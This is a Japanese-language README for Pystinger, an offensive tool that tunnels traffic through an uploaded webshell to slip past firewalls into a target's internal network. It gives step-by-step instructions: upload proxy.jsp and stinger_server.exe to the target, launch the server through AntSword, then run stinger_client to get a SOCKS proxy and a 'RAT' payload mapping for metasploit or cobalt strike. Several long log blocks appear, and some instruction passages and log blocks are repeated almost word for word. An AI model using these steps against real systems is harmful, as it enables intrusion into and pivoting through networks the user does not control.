
Webshellを使用したファイアウォールバイパスによるトラフィック転送
英語 | 简体中文
Pystinger は、webshell を介して SOCK4 プロキシ と ポートマッピング を実装します。
metasploit-framework、viper、cobalt strike で直接使用してセッションをオンラインにできます。
Pystinger は Python で開発されており、現在、php、jsp(x)、aspx の 3 つのプロキシスクリプトをサポートしています。
サーバーのドメイン名は http://example.com :8080 とします。サーバーの内部ネットワーク IP アドレスは 192.168.3.11 です。
proxy.jsp をターゲットサーバーにアップロードし、http://example.com:8080/proxy.jsp にアクセスできることを確認します。ページは UTF-8 を返します。stinger_server.exe をターゲットサーバーにアップロードし、AntSword で cmd start D:/XXX/stinger_server.exe を実行して pystinger-server を起動します。
D:/xxx/singer_server.exeを直接実行しないでください。TCP 接続が切断されます。
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 を実行します。root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
127.0.0.1:60000 上に、example.com の内部ネットワーク向けの socks4a プロキシ が開始されました。example.com) の 127.0.0.1:60020 が VPS の 127.0.0.1:60020 にマッピングされました。proxy.jsp をターゲットサーバーにアップロードし、http://example.com:8080/proxy.jsp にアクセスできることを確認します。ページは UTF-8 を返します。stinger_server.exe をターゲットサーバーにアップロードし、AntSword で cmd start D:/XXX/stinger_server.exe を実行して pystinger-server を起動します。
D:/xxx/singer_server.exeを直接実行しないでください。TCP 接続が切断されます。
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 を実行します。root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
60020 (出力の RAT CONFIG の Handler/LISTEN ポート)、リスナーアドレスは 127.0.0.1 にします。proxy.jsp をターゲットサーバーにアップロードし、http://example.com:8080/proxy.jsp にアクセスできることを確認します。ページは UTF-8 を返します。stinger_server.exe をターゲットサーバーにアップロードし、AntSword で cmd start D:/XXX/stinger_server.exe 192.168.3.11 を実行して pystinger-server を起動します (192.168.3.11 はターゲットの内部ネットワーク IP アドレス)。192.168.3.11 は 0.0.0.0 に変更可能です。
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 を実行します。root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
60020 (出力の RAT CONFIG の Handler/LISTEN ポート)、リスナーアドレスは 192.168.3.11 にします。webshell が cookie や認証を必要とする場合、--header パラメータでリクエストヘッダーを設定できます。
--header "Authorization: XXXXXX,Cookie: XXXXX"
webshell をプロキシ経由でアクセスする必要がある場合、--proxy でプロキシを設定できます。
--proxy "socks5:127.0.0.1:1081"
https://github.com/nccgroup/ABPTTS
https://github.com/sensepost/reGeorg
https://github.com/SECFORCE/Tunna
2.0 更新日: 2019-09-29
2.1 更新日: 2020-01-07
開発は jetbrains のソフトウェアによってサポートされています。
https://www.jetbrains.com/?from=pystinger